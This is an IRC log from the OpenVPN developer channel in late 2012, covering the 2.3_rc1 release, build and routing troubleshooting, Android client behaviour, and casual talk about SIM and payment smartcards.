fixing another issue that may be related (or not) 08:52 <@mattock_> found the cause... monit was restarting the openvpn service every 3 minutes 08:52 <@mattock_> a leftover .monit file from old vpn configuration 08:57 <@cron2> hrr :) 09:02 <@mattock_> also a small bug in the .monit template in puppet... it was trying to find the pidfile from the place it's in debian 09:07 <@mattock_> ok, let's retry building 09:08 <@mattock_> surprisingly fedora was unaffected, but that could have been mere luck 09:09 <@mattock_> it should have been broken, too 09:14 <@mattock_> tada 09:14 <@mattock_> worked 09:36 <@cron2> cool 10:02 <@ecrist> I love people that talk just to hear themselves speak 10:02 <@ecrist> :\ 10:05 <@mattock_> I think rc1 passed all tests ... opensuse does not count 10:19 <@cron2> mattock: cool 10:19 <@cron2> (it also passed the server side auto-tests, but this is unsurprising - we didn't change anything near the "move packets around" or "do SSL handshake" bits in the code for quite a while) 10:32 -!- dazo_afk is now known as dazo 10:34 <@dazo> cron2: do you dare to ACK the removal of system() ... and I can tag everything and push out packages to mattock 10:35 <@ecrist> is this going to be rc2? 10:36 <@dazo> nope, rc1 isn't out yet ;-) 10:37 <@dazo> we have beta1 out ... and as that's been stable, with no very bad findings ... rc1 with some bug fixes is our next step 10:38 <@ecrist> oh, yeah. derp 10:39 <@mattock_> release will be tomorrow, then 10:39 <@mattock_> I'll ask Coverity to update their codebase once rc1 is out 10:39 <@dazo> I just want to squeeze in that system() stuff ... as that's "another bug closed" thingy for the release :) 10:39 <@dazo> cool! 10:39 <@mattock_> yes, I agree 10:40 <@ecrist> where can we see the reports coverity generates? 10:41 <@dazo> I don't think they're public 10:41 <@dazo> (and it's debatable if that is good or bad, of course) 10:47 <@ecrist> so, who gets to review them? 10:58 <@dazo> I think I have a login, mattock and james 10:58 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 11:04 -!- raidz_afk is now known as raidz 11:17 <@d12fk> mattock_: is there an 2.3 .deb packet somewhere? 11:17 <@d12fk> mattock_: nevermind found it 11:23 -!- dazo is now known as dazo_afk 12:23 -!- dazo_afk is now known as dazo 12:38 <@mattock_> d12k: we got plenty of debs and rpms in our apt repos... 12:38 <@mattock_> there are links in trac 15:30 -!- dazo is now known as dazo_afk 19:33 -!- d12fk [~heiko@exit0.net] has quit [Ping timeout: 245 seconds] 19:46 -!- raidz is now known as raidz_afk --- Day changed Wed Oct 31 2012 03:52 -!- dazo_afk is now known as dazo 04:13 <@dazo> cron2: you around? 04:13 <@cron2> no 04:13 <@cron2> :) 04:14 <@dazo> heh :) When you decide to not hide any more ... if you could do the formal ACK/NACK of my patch on the ML, I'll get 2.3_rc1 wrapped up for mattock_ 04:14 <@cron2> now he's tempting me with promises of a release... :) 04:15 <@dazo> (NACK means it will be postponed to 2.4, I don't want to pull it into 2.3 final without RC testing) 04:15 <@dazo> hehe :) 04:15 * dazo has learnt something in this role :-P 04:15 <@cron2> any word from James on this? 04:16 <@dazo> I wish .... 04:16 <@dazo> he has been Cced 04:21 <@mattock_> well, I would prefer to interpret "no comments from James" as "it's ok for James" 04:22 <@mattock_> i.e. it's not critical enough to complain about :) 04:22 <@dazo> that's my way of seeing it 04:22 <@cron2> true 04:29 <@mattock_> I'll leave in ~30 mins, but will be back around 14:45 04:30 <@mattock_> if all is ready by then I can manage the release today 04:30 <@mattock_> or even slightly later 04:30 <@dazo> we'll see what we'll have ready before that time ... I'll do my best to have everything ready and wrapped up for you 04:30 <@mattock_> excellent! 04:30 <@mattock_> I'm not in any particular hurry myself 04:32 * dazo just want it out the door ... so we can complete 2.3 :) 04:32 <@cron2> +1 04:32 * cron2 has some network outages to handle right now, but will go review ASAP 04:32 <@dazo> thx! 04:47 <@cron2> it was deprecated before that anyway... 04:49 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 04:49 <@cron2> we actually should have t_client tests with --up and stuff... 04:49 <@dazo> Yeah ... maybe even --plugin too 05:06 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 07:48 <@mattock_> ready for 2.3-rc1? 07:54 <@cron2> I sent the ack, but dazo has disappeared 07:54 <@dazo> sorry! some ad-hoc meetings appeared 07:54 <@dazo> I'll merge it now and do all the stuff 07:55 <@mattock_> ok 08:03 <@dazo> 10-15 min and it's ready ... running test compile of rc1 now 08:09 <@dazo> cron2: thx for the review, btw! 08:25 <@dazo> mattock_: just PMed the download URLs for rc1 08:26 <@dazo> (pushing out the git tree now) 08:40 <@mattock_> dazo: ok 08:42 * dazo wonders where vpnHepler is .... 08:42 <@dazo> ecrist: ^^ 08:44 <@cron2> it's halloween, seems it's already drunk 08:44 <@dazo> :) 08:56 <@mattock_> building for windows... 08:57 <@mattock_> including latest GUI from Git 08:57 <@mattock_> no other dependency changes 08:59 <@ecrist> hrm 08:59 -!- Irssi: #openvpn-devel: Total of 12 nicks [6 ops, 0 halfops, 0 voices, 6 normal] 09:00 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:00 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:02 <@ecrist> dazo: ^^ 09:02 <@dazo> :) 09:03 <@cron2> huh 09:03 <@cron2> virtual memory exhausted: Resource temporarily unavailable 09:04 <@cron2> my osol10 box seems to be drunk as well 09:17 <@dazo> cron2: you should probably demand the memory to exercise more, so it can sustain more pressure! 09:19 < plaisthos> 09:19 * plaisthos has nothing to say ;) 09:19 <@dazo> ;) 09:19 < plaisthos> cron2: not enough swap space? 09:19 <@dazo> plaisthos: just pull down the latest git tree and start having fun with rc1 ;-) 09:20 < plaisthos> iirc solaris does no overcommiting on memory like fbsd and linux 09:20 < plaisthos> dazo: the last patches don't affect my android version 09:21 < plaisthos> running scripts was broken until the last version and almost nobody noticed :) 09:22 <@dazo> yeah, looking through the changelog ... it's mostly server related stuff 09:29 <@cron2> dazo: the box is only hickuping if mattock compiles... 09:29 <@mattock_> I wonder if I ever see the day when one try at windows building is enough... 10:18 <@mattock_> try 4... :D 11:14 <@mattock_> hrm... succeeded but build number is 002 11:14 <@mattock_> that'll have to do 11:23 -!- raidz_afk is now known as raidz 11:29 <@mattock_> http://openvpn.net/index.php/download/community-downloads.html 11:29 <@vpnHelper> Title: Community Downloads (at openvpn.net) 11:29 <@mattock_> announcements and I think we're done 11:32 * cron2 is amazed :) 11:33 <@dazo> we get our own Halloween release with 2.3 .... let's hope it won't scare people away :-P 11:34 <@mattock_> seems to be ~3 hours per release 11:34 <@mattock_> I'll mention something about the updated Windows GUI 11:41 <@mattock_> forum announcement: https://forums.openvpn.net/topic11589.html 11:41 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN 2.3_rc1 released : Announcements (at forums.openvpn.net) 11:41 <@mattock_> raidz: care to tweet? 11:42 <@raidz> hey mattock_: pm me what you would like tweeted and I will do it right now :-) 11:43 <@mattock_> raidz: ^^^ 11:45 <@mattock_> ecrist: tar.xz packages are in the usual place 11:47 <@dazo> mattock_: your announcement points at the 2.3 changelog twice ... once when talking about the GUI 11:47 <@mattock_> oopsi 11:47 <@mattock_> too late I guess :D 11:48 <@dazo> heh :P 12:00 <@mattock_> yeah, the double link looks a bit stupid 12:11 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 12:16 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:31 < plaisthos> until 2.3final there are may still be more announcements :) 13:44 <@andj> spoooky... 13:44 <@andj> congratulations on the rc! 13:48 * cron2 finds himself not mentioned in the changelogs. Booh! 14:05 <@ecrist> it took careful editing, cron2 14:10 <@dazo> cron2: either your code is getting better, or you were too lazy to add more bugs ;-) 14:13 -!- dazo is now known as dazo_afk 14:20 <@mattock_> we have plenty of time to add new bugs in 2.4 14:20 <@mattock_> i.e. "strip away all the crap and clean up" release cycle? 14:28 < plaisthos> :) 14:29 < plaisthos> cron2: I can contribute well hidden bugs for you to fix if you like ;) 15:56 <@cron2> I'd prefer stupid things that make t_client bomb, so I can be the shining hero without too much effort 17:16 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 17:33 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:19 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 264 seconds] 18:21 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 19:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] --- Day changed Thu Nov 01 2012 03:11 -!- dazo_afk is now known as dazo 03:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:23 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn-devel [] 12:43 -!- dazo is now known as dazo_afk 19:25 <@ecrist> ping mattock 19:25 <@ecrist> can I get admin access to sourceforge, please? --- Log closed Fri Nov 02 01:11:17 2012 --- Log opened Fri Nov 02 09:14:24 2012 09:14 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 09:14 -!- Irssi: #openvpn-devel: Total of 13 nicks [6 ops, 0 halfops, 0 voices, 7 normal] 09:14 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:14 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 10:17 <@dazo> mattock_: you mean Microsoft's version of GNOME 3 Shell? 10:17 <@dazo> ;-) 10:37 <@mattock_> dazo: yes, I guess it's something like that 10:37 <@mattock_> just less flexible and gets in your way more 10:37 <@mattock_> and everyone has to use it, as there are no alternatives 10:37 <@mattock_> on that platform 10:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:38 <@dazo> so after all, GNOME3 will win among the "enlightened" people :-P 13:01 <@cron2> mattock: "less flexible and gets into your way more" is pretty much describing Gnome3, yes. 13:33 -!- dazo is now known as dazo_afk 15:10 <@mattock_> it seems I'll be going to FOSDEM 15:11 <@mattock_> anybody booked the flights yet? 19:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 20:44 -!- raidz is now known as raidz_afk --- Day changed Sat Nov 03 2012 04:53 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 05:04 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:05 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:38 <@vpnHelper> RSS Update - tickets: #237: Windows GUI connections sorting problem in symlink <https://community.openvpn.net/openvpn/ticket/237> --- Day changed Sun Nov 04 2012 02:28 <@andj> mattock: I'm nowhere near that organized :) 05:27 <@mattock_> andj: coming, though? 08:51 < plaisthos> If I would be buying train tickets now I get reasonable cheap tickets ... 09:33 <@mattock_> plaisthos: go for for it :) 09:34 < plaisthos> I am still trying to figure how long the FOSDEM is on sunday 09:35 < plaisthos> so If I should travel back on sunday or monday 09:44 < plaisthos> btw. my app broke the 30k installations :) 11:12 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 11:16 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 14:51 <@andj> mattock: yeah, planning on it 14:51 <@andj> plaisthos: I travelled back somewhere Sunday afternoon 14:54 < plaisthos> andj: ah okay 14:54 * plaisthos fears the points when he has to split his socket work into small patches 15:10 < plaisthos> has anyone tried connection profiles and persist-remote-ip together? 15:11 * plaisthos has the feeling that this option combination does something completly unexpected ... 15:12 <@cron2> wtf is persist-remote-ip? *read docs* 15:16 < plaisthos> :) 15:31 < plaisthos> anyhow resolving an address put the info into the c.c2.link_socket->info 15:33 < plaisthos> but c.c2.link_socket->info->lsa is a pointer to the c1.link_socket_addr struct 15:34 < plaisthos> which connection profiles the address is resolved for the first connection and after that the resolved ip address for the first connection is used for all connections If I read the source right 15:34 < plaisthos> Since I am touching this code I have to fix this :( 16:10 < plaisthos> and I just found a Y2038 bug 16:20 < plaisthos> Enough hacking for today :) 16:21 < plaisthos> dual stack client tcp and udp works 16:37 < plaisthos> It is under https://github.com/schwabe/openvpn/commits/new_socket_client in case anyone want have a look :) 16:37 <@vpnHelper> Title: Commit History · schwabe/openvpn · GitHub (at github.com) 16:39 < plaisthos> still need to run a few more tests with the code 18:08 <@ecrist> sup folks? 23:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Nov 05 2012 01:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 02:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:48 -!- dazo_afk is now known as dazo 10:00 -!- dazo is now known as dazo_afk 10:00 -!- dazo_afk is now known as dazo 10:44 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 10:44 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:45 <@d12fk> mattock_: about the guy on the list with quoted username and password 10:45 <@d12fk> which GUI revision went into rc1? 11:03 -!- raidz_afk is now known as raidz 12:31 <@mattock_> latest Git at the day of release 12:59 -!- dazo is now known as dazo_afk 14:26 < plaisthos> oh the fun 14:26 < plaisthos> the timeout for udp is hand-wind and for tcp up to connect-timeout + hand-wind 14:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 14:58 * plaisthos extend retry-connect-max to udp :) --- Day changed Tue Nov 06 2012 02:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 03:42 -!- dazo_afk is now known as dazo 03:45 <@d12fk> plaisthos: stuff like this is all over the place when you take a close look 03:46 <@d12fk> i tend to fix things while passing them and send a patch instantly 03:52 < plaisthos> d12fk: yes. I don't know how to fix this one 03:53 <@d12fk> oh, then pretend it never happened =) 03:54 * dazo throws a trout at d12fk :-P 03:54 <@dazo> it never happened! 03:55 <@d12fk> mmmh trooout =) 03:55 <@dazo> heh 04:17 <@cron2> dazo: stop finding bugs in RC1 04:17 <@dazo> hehe 04:18 <@dazo> cron2: we just need a few ones, so we can call 2.3 stable ... because we fixed rc1 ;-) 04:18 <@cron2> ah :-) 04:18 <@dazo> mattock_: did you do any compile tests on MSVC with rc1? 04:18 * dazo might have another fixes for that as well 05:08 <@vpnHelper> RSS Update - testtrac: Fix double-free issue in pf_destroy_context() <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=1f300fe94f1bd521966bb05dea40edc1fae82b84> 05:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:15 <@mattock_> dazo: no 05:16 <@dazo> okay ... then we should probably look at it at some point before we're tagging final 2.3 :/ 05:17 <@mattock_> windows installer build 003 ready and released... includes latest GUI 05:17 <@mattock_> too many moving parts in this puzzle, or too few moving parts in my brain, not sure which 05:18 * cron2 sends coffee to mattock 05:18 <@mattock_> cron2: thanks, I just stopped drinking coffee and my life has been great! :D 05:19 * cron2 takes the coffee back and sends tea instead - much better for moving brains anyway 05:19 <@mattock_> thanks! 05:19 <@mattock_> :P 05:19 <@cron2> (if you need more moving bits in your brain, I'll send an Igor) 05:20 <@mattock_> uh, not sure if I like the sound of that... 06:41 <@cron2> you need to read some of the Uberwald books from Terry Pratchett :) 07:02 * plaisthos tries to rememeber if it was called Uberwald or Überwald in the english books ... 07:34 <@dazo> Discworld? 07:36 <@cron2> yep 08:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 09:39 -!- dazo is now known as dazo_afk 17:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] --- Day changed Wed Nov 07 2012 01:44 -!- dazo_afk is now known as dazo 01:56 -!- dazo is now known as dazo_afk 02:20 -!- dazo_afk is now known as dazo 05:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:44 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 06:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:47 <@d12fk> any --topology subnet expert available 09:47 <@d12fk> --route doesn't work well with it 09:49 <@d12fk> the cited "second parameter to --ifconfig" is a netmask in the subnet case 09:49 <@d12fk> 'vpn_gateway' variable is also not available 10:16 <@dazo> d12fk: I'm using that fairly often these days 10:16 <@dazo> what does log files at --verb 4 say? 10:16 <@dazo> --topology requires p2mp mode (--mode server / client) 10:17 <@dazo> and in those modes, it's --ifconfig subnetIP subnetMASK 10:18 <@d12fk> it's a route on the server 10:18 <@d12fk> says: OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options 10:18 <@d12fk> trying "vpn_gateway" as the gw part now 10:19 <@d12fk> ok, as expected: OpenVPN ROUTE: vpn_gateway undefined 10:25 <@dazo> --route-gateway .... and that sets the vpn_gateway value, iirc 10:25 <@d12fk> yes, but the address is unknow because it get assigned from the pool 10:25 * dazo checks his configs 10:26 <@d12fk> trying with the local pool address now to find out if it's routed correctly internally 10:27 <@dazo> vpn_gateway is only used/useful on the client side I think ... as often you'll push out --route-gateway ... as the "default" VPN gateway ... which means the rest of the pushes/routes only need two args - IP+netmask 10:28 <@dazo> otherwise, --route takes 3 args ... IP+netmask+gw 10:30 <@d12fk> yes, but i'm using it on the server 10:33 <@dazo> ahh ... that I've never tried 10:33 <@dazo> I'm guessing an 'iroute' is missing then 10:36 <@d12fk> with the default --topology i don't need the gw for the --route, it's added atumatically here, wonder why/how 10:37 <@d12fk> tge gateway is the remote client pool address then 10:40 <@d12fk> ah it uses the p2p address of the tun itf then, got it 10:40 <@d12fk> it's not the same as "vpn_gateway" 10:51 <@d12fk> ok that worked, thank for standing by me =) 10:52 <@d12fk> using the first address of the pool now as a gateway 10:53 <@d12fk> hm using an itf route we could cicumvent making up an address 11:00 -!- raidz is now known as raidz_afk 11:19 -!- raidz_afk is now known as raidz 11:49 <@cron2> d12fk: IPv4 doesn't use interface routes, and IPv6 can't do intf routes on all platforms either (some platforms just can't do it) 14:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 14:35 -!- dazo is now known as dazo_afk 14:42 -!- Irssi: #openvpn-devel: Total of 14 nicks [8 ops, 0 halfops, 0 voices, 6 normal] 15:05 -!- d12fk [~heiko@exit0.net] has quit [Quit: ZNC - http://znc.sourceforge.net] 16:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:10 -!- raidz is now known as raidz_afk 21:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Thu Nov 08 2012 00:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:42 -!- dazo_afk is now known as dazo 03:26 -!- dazo is now known as dazo_afk 03:31 -!- dazo_afk is now known as dazo 05:49 < plaisthos> I /only/ have to look into the socks/http proxy code and see If I broke anything there and then my dual stack client patch is ready :) 07:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 09:02 -!- ether0 [~ether0@72.22.83.65] has quit [Ping timeout: 245 seconds] 09:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:21 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 11:10 -!- raidz_afk is now known as raidz --- Log closed Thu Nov 08 12:42:18 2012 --- Log opened Thu Nov 08 19:09:55 2012 19:09 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 19:09 -!- Irssi: #openvpn-devel: Total of 11 nicks [4 ops, 0 halfops, 1 voices, 6 normal] 19:09 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 19:09 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 19:26 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 19:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:27 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:54 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 21:54 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 21:54 -!- dazo_afk is now known as dazo 22:05 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] --- Day changed Fri Nov 09 2012 02:06 -!- raidz is now known as raidz_afk 02:08 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 246 seconds] 02:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:28 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:28 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 02:43 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:43 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:47 -!- raidz_afk is now known as raidz 09:02 <@dazo> plaisthos: how is the power consumption with openvpn on Android? 09:06 < plaisthos> dazo: depends 09:07 <@dazo> there's a guy on #openvpn which claims he has openvpn running constantly, hooking up whenever it gets a network connection ... without experiencing any battery drain 09:07 <@dazo> plausible? 09:08 < plaisthos> depends on the keepalive 11:40 <@andj> plaisthos: Using TCP, you should be able to get that down to about half an hour 12:06 <+krzee> tcp over cell link = heh 12:06 <+krzee> also, half hour keepalive = i hope you use --float 12:48 -!- dazo is now known as dazo_afk 13:51 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 15:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 19:09 -!- raidz is now known as raidz_afk 23:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Nov 10 2012 02:09 -!- Netsplit *.net <-> *.split quits: +krzee 02:11 -!- Netsplit over, joins: +krzee 07:17 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 10:09 < plaisthos> krzee: no need for float. Float does not do anything for tcp anyway 10:10 <+krzee> right but tcp over most mobile internet will not perform well 10:11 <+krzee> at least most mobile internet ive had the lack of pleasure to use 10:17 < plaisthos> krzee: yes :) 10:17 < plaisthos> I know 10:17 < plaisthos> On my provider I am stuck with a) tcp and 30 min or b) udp 30s and fast emptying battery 10:18 <+krzee> same, i charge often :D 10:18 <+krzee> got chargers stashed at home, work, car 10:19 < plaisthos> :) 10:19 < SviMik> hi all! does anybody know such error? 10:19 < SviMik> TLS_ERROR: BIO read tls_read_plaintext error: error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number 10:19 < plaisthos> I still have to try to use openvpn on a "allowed" udp port 10:20 < plaisthos> like sip or something 10:20 < plaisthos> maybe the udp timeout is set different for such a port 10:20 * SviMik tried to google, but it doesn't help :( 10:21 <+krzee> plaisthos, ill find it interesting if sip is an "allowed" port to public IPs on your mobile internet 10:21 < plaisthos> krzee: it is 10:21 < plaisthos> krzee: o2 germany offically allows voip 10:22 <+krzee> beat me to my question 10:22 <+krzee> i love germany / holland 10:23 <+krzee> http://techcrunch.com/2009/08/18/o2-germany-opens-mobile-network-for-voip-and-skype/ so cool 10:23 <@vpnHelper> Title: O2 Germany opens mobile network for VoIP and Skype | TechCrunch (at techcrunch.com) 10:24 <+krzee> hah tmobile was charge 10 euros a month and o2 said FREE 10:25 <+krzee> charging* 10:25 <+krzee> They offer HSDPA with 7,2 Mbps in “big parts of Germany” and also HSUPA for fast uploads up to 1,4 Mbps. 10:25 <+krzee> thats sad, i pay $150/mo for dsl that fast 10:25 <+krzee> well, a bit slower actually 10:27 < SviMik> $150/mo for dsl?? where are you from? 10:30 <+krzee> from california but currently living on a tropical island in the caribbean 10:30 <+krzee> when i visit california my grammas cablemodem gives me 2MB/s downloads and she has the cheapest plan 10:53 < SviMik> http://www.speedtest.net/result/2299011370.png 10:54 < SviMik> upload is slow though... 10:56 <+krzee> 3.3/.88 10:56 <+krzee> whose upload is slow? :p 14:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 17:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:59 -!- bantu [~quassel@phpbb/developer/bantu] has left #openvpn-devel [] 19:25 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] 23:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Sun Nov 11 2012 07:39 <@vpnHelper> RSS Update - tickets: #238: Client reports after 60 seconds "TLS Error: TLS handshake failed" - while being successfully connected. <https://community.openvpn.net/openvpn/ticket/238> 20:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] --- Day changed Mon Nov 12 2012 00:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:32 -!- dazo_afk is now known as dazo 04:10 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 04:10 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:11 <@d12fk> cron2: what do mean by "IPv4 doesn't use interface routes" 04:12 <@cron2> the openvpn code for IPv4 doesn't 04:12 <@d12fk> ah got it 04:12 <@d12fk> question is now, do the system ovpn runs on support it? 04:13 <@cron2> linux does, *BSD does for tun interfaces 04:13 <@cron2> solaris I don't want to remember 04:13 <@d12fk> for windows we'd have to emulate it (what else…) 04:14 <@cron2> windows does, but not "just interface", always "interface plus gateway" 04:14 <@d12fk> that's what i ment 04:14 <@cron2> yep 04:20 < plaisthos> android's API is entirely differrent and may or may not use interface routes :) (Current standard implementation does not iirc) 04:21 <@cron2> yeah, but that's sort of not relevant, as we do not have to fiddle with routes there 04:21 <+krzee> in freebsd i personally need interface routes, so i just set them with an up script 05:21 -!- dazo is now known as dazo_afk 05:21 -!- dazo_afk is now known as dazo 06:25 -!- dazo is now known as dazo_afk 06:32 -!- dazo_afk is now known as dazo 06:58 <+krzee> oh dazo remember when we were theorizing on the methods used by gov for installing backdoors on cells to activate the mic remotely? 06:58 <@dazo> yeah? 06:58 <+krzee> turns out the sim is basically a java computer and the provider can push code to it 06:59 <+krzee> i was talking to a producer of hak5 about it 07:01 <+krzee> i figure cdma has their own counterpart 07:09 <+krzee> http://en.wikipedia.org/wiki/Subscriber_identity_module#SIMware 07:09 <@vpnHelper> Title: Subscriber identity module - Wikipedia, the free encyclopedia (at en.wikipedia.org) 07:09 <+krzee> "SIMware is a term used to describe software held on or running on a SIM card." 07:09 <+krzee> running on 09:24 <@ecrist> yeah - why do you think updating SIM cards has become so important? They're far more than an ID chip 09:26 <@dazo> krzee: it may be a java computer ... there are quite a lot of different chip types, but yeah, Java Card is quite an old standard 09:27 <@dazo> (A company I worked for even enabled Thai localised characters on cell phones via this SIM approach) 09:27 <@dazo> but I didn't honestly think of Java in particular last time we chatted about it 09:28 <@dazo> The whole chip-card movement is enabling this also on payment cards as well ... and basically, Visa and MasterCard cards have their own 'app' installed on the card 09:30 <@dazo> and the card terminal and the card itself authenticates each other before the user is asked for the PIN code. The PIN code is then sent directly to the chip, which does the evaluation and provides a single correct/fail response with some extra parameters used for the payment itself 09:30 <@dazo> those extra parameters is sent to the payment network, which then again can authenticate the transaction as valid before accepting it 09:33 <@dazo> (and of course, there are also some signatures added to these apps when the app is loaded on the cards, so it's possible to identify down to which production machine personalised the card ... and iirc, terminals can have "production machine blacklists") 11:55 < plaisthos> As I understand it a SIM is basically a smartcard like any other smartcard (e.g. the debit card, certain NFC cards, electronic passports, ....) 12:24 <@dazo> that's correct 12:25 <@dazo> the hw interface is standardised ... so when the chip boots up, you have software on both sides which does the communication over a common API for the application type the smartcard is designed for 12:25 <@dazo> (or rather, programmed for) 13:27 -!- dazo is now known as dazo_afk 14:35 <@ecrist> raidz_afk: have you guys heard of this at all: http://www.forbes.com/sites/andygreenberg/2012/11/09/meet-the-texas-lawyer-suing-hundreds-of-companies-for-using-basic-web-encryption/ 14:35 <@vpnHelper> Title: Meet The Texas Lawyer Suing Hundreds Of Companies For Using Basic Web Encryption - Forbes (at www.forbes.com) 15:28 <@cron2> ecrist: raidz is not overly talkative these days 15:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 16:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined 